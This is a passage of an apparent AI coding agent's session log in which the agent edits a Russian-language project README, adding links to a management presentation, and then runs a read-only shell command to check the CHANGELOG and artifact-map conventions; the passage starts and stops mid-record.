\u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\nProject-scoped \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n[`decisions/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/decisions),\\nRFC \u2014 \u0432\\n[`docs/rfc/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/docs/rfc),\\n\u043e\u0442\u043b\u0430\u0434\u043a\u0430 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `experiments/`, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 Distribution \u2014\\n\u0432 `dist/`. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0430 \u0432\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md).\\n\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0434\u043b\u044f API, \u041b\u041a \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md).\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0435\u0439\u0442\u043e\u0432 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\\n[RFC](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md);\\n\u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f issue #603 \u0447\u0430\u0441\u0442\u044c \u043e \u0440\u0430\u043d\u043d\u0435\u0439 MANGO-\u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 Distribution.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u0434\u0432\u043e\u0439\u043d\u0430\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n\u0434\u0435\u043b\u044c\u0442\u043e\u0439 Source.\\n\\n\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u0432\u0441\u0435\u0445 67 legacy-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u043a issue #605 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432,\\n\u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b FR/UC/NFR \u0438 TM Forum binding \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f\\n\u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043e\u0442 \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e baseline \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 Release-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438,\\n\u0432\u043a\u043b\u044e\u0447\u0430\u044f NFR\u2192FR, \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u043f\u0440\u0438\u043d\u044f\u0442 \u0432\\n[RFC Working Document \u2192 Release Document](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md).\\n\u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u0441\u043a\u0432\u043e\u0437\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 Source \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043e Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 GigaCode CLI \u0438 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md)\\n\u043f\u043e issue #630 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 20 \u0442\u043e\u0447\u0435\u043a \u0442\u0440\u0435\u043d\u0438\u044f \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430; \u043f\u0430\u0440\u043d\u044b\u0435 \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n\\n\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0440\u0435\u0434\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432\\n[`docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md).\\nIssue [#593](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/593)\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439\\n`mango-ba-ai-runtime-cli`.\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b **\u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f**: \u043e\u043d\u0438\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 [`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md)\\n\u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430. \u041c\u043e\u0434\u0443\u043b\u0438 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445,\\n\u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442:\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md);\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md);\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md);\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\\n- [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\\n  \u2014 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438;\\n- [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b;\\n- [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md)\\n  \u2014 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430;\\n- [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)\\n  \u2014 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438, \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e;\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n  \u2014 \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 Source, Distribution, Runtime \u0438 Feedback.\\n- [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode CLI.\\n- [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 Cline \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI.\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL), \u043a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0451\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 `ba-requirements`.\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n`40-practice-and-cases.md`, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 P2\\n([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh)).\\n\",\n[2026-09-29T07:59:52.260Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:59:52.260Z] [INFO]       {\n[2026-09-29T07:59:52.260Z] [INFO]         \"oldStart\": 137,\n[2026-09-29T07:59:52.260Z] [INFO]         \"oldLines\": 6,\n[2026-09-29T07:59:52.260Z] [INFO]         \"newStart\": 137,\n[2026-09-29T07:59:52.260Z] [INFO]         \"newLines\": 20,\n[2026-09-29T07:59:52.260Z] [INFO]         \"lines\": [\n[2026-09-29T07:59:52.260Z] [INFO]           \" - [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\",\n[2026-09-29T07:59:52.260Z] [INFO]           \" - [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\",\n[2026-09-29T07:59:52.260Z] [INFO]           \" \",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+## \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+([issue #646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)):\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u043f\u0440\u043e\u0440\u044b\u0432 \u0432 \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0435\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c \u043a \u0421\u0440\u0435\u0434\u0435 4.\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+- [\u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md)\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+  \u2014 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438 \u0434\u043b\u044f\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+  \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+- [\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md)\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+  \u2014 \u0442\u0435\u043a\u0441\u0442 \u043f\u043e \u0442\u0435\u043c \u0436\u0435 \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+  \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.\",\n[2026-09-29T07:59:52.260Z] [INFO]           \"+\",\n[2026-09-29T07:59:52.260Z] [INFO]           \" ## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\",\n[2026-09-29T07:59:52.260Z] [INFO]           \" \",\n[2026-09-29T07:59:52.260Z] [INFO]           \" - [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\"\n[2026-09-29T07:59:52.260Z] [INFO]         ]\n[2026-09-29T07:59:52.260Z] [INFO]       }\n[2026-09-29T07:59:52.260Z] [INFO]     ],\n[2026-09-29T07:59:52.260Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:59:52.260Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:59:52.260Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:59:52.260Z] [INFO]   }\n[2026-09-29T07:59:52.260Z] [INFO] }\n[2026-09-29T07:59:53.182Z] [INFO] {\n[2026-09-29T07:59:53.182Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:53.182Z] [INFO]   \"message\": {\n[2026-09-29T07:59:53.182Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:59:53.182Z] [INFO]     \"id\": \"msg_011CfXNrLfjYuEVgskscQzeq\",\n[2026-09-29T07:59:53.182Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:59:53.182Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:59:53.182Z] [INFO]     \"content\": [\n[2026-09-29T07:59:53.182Z] [INFO]       {\n[2026-09-29T07:59:53.182Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:59:53.182Z] [INFO]         \"id\": \"toolu_01Mer6YwzMoidxYPXCxB5xcN\",\n[2026-09-29T07:59:53.182Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:59:53.182Z] [INFO]         \"input\": {\n[2026-09-29T07:59:53.182Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; head -30 CHANGELOG.md; grep -n 'ba-ai-process' ops/artifact-map.md | head -5; git log --oneline -5 --stat origin/main -- CHANGELOG.md ops/artifact-map.md | head -30\",\n[2026-09-29T07:59:53.182Z] [INFO]           \"description\": \"Check CHANGELOG and artifact-map conventions\"\n[2026-09-29T07:59:53.182Z] [INFO]         },\n[2026-09-29T07:59:53.182Z] [INFO]         \"caller\": {\n[2026-09-29T07:59:53.182Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:59:53.182Z] [INFO]         }\n[2026-09-29T07:59:53.182Z] [INFO]       }\n[2026-09-29T07:59:53.182Z] [INFO]     ],\n[2026-09-29T07:59:53.182Z] [INFO]     \"container\": null,\n[2026-09-29T07:59:53.182Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:59:53.182Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:59:53.182Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:59:53.182Z] [INFO]     \"usage\": {\n[2026-09-29T07:59:53.182Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:59:53.182Z] [INFO]       \"cache_creation_input_tokens\": 1135,\n[2026-09-29T07:59:53.182Z] [INFO]       \"cache_read_input_tokens\": 66798,\n[2026-09-29T07:59:53.182Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:59:53.182Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:59:53.182Z] [INFO]         \"ephemeral_1h_input_tokens\": 1135\n[2026-09-29T07:59:53.182Z] [INFO]       },\n[2026-09-29T07:59:53.182Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:59:53.182Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:59:53.182Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:59:53.182Z] [INFO]     },\n[2026-09-29T07:59:53.182Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:59:53.182Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:59:53.182Z] [INFO]     \"context_management\": null\n[2026-09-29T07:59:53.182Z] [INFO]   },\n[2026-09-29T07:59:53.182Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:59:53.182Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:53.182Z] [INFO]   \"uuid\": \"90ac4089-c766-4ec5-926e-b3b70a5e5522\",\n[2026-09-29T07:59:53.182Z] [INFO]   \"timestamp\": \"2026-09-29T07:59:53.158Z\",\n[2026-09-29T07:59:53.182Z] [INFO]   \"request_id\": \"req_011CfXNrL71P4oGSgdUpTeWk\",\n[2026-09-29T07:59:53.182Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:59:53.182Z] [INFO]     \"toolu_01Mer6YwzMoidxYPXCxB5xcN\": {\n[2026-09-29T07:59:53.182Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; head -30 CHANGELOG.md; grep -n 'ba-ai-process' ops/artifact-map.md | head -5; git log --oneline -5 --stat origin/main -- CHANGELOG.md ops/artifact-map.md | head -30\",\n[2026-09-29T07:59:53.182Z] [INFO]       \"description\": \"Check CHANGELOG and artifact-map conventions\"\n[2026-09-29T07:59:53.182Z] [INFO]     }\n[2026-09-29T07:59:53.182Z] [INFO]   }\n[2026-09-29T07:59:53.182Z] [INFO] }\n[2026-09-29T07:59:55.471Z] [INFO] {\n[2026-09-29T07:59:55.471Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:59:55.471Z] [INFO]   \"message\": {\n[2026-09-29T07:59:55.471Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:59:55.471Z] [INFO]     \"content\": [\n[2026-09-29T07:59:55.471Z] [INFO]       {\n[2026-09-29T07:59:55.471Z] [INFO]         \"tool_use_id\": \"toolu_01Mer6YwzMoidxYPXCxB5xcN\",\n[2026-09-29T07:59:55.471Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:59:55.471Z] [INFO]         \"content\": \"---\\nstatus: canonical\\nversion: 2.11\\nupdated: 2026-09-28\\ntemperature: 0.1\\n---\\n\\n# Changelog\\n\\nAll notable repository governance changes are documented here.\\n\\n## Unreleased\\n\\n### Added\\n\\n- projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f GigaCode-\u043f\u0430\u043a\u0435\u0442\u0430 `junior-guide.md` \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 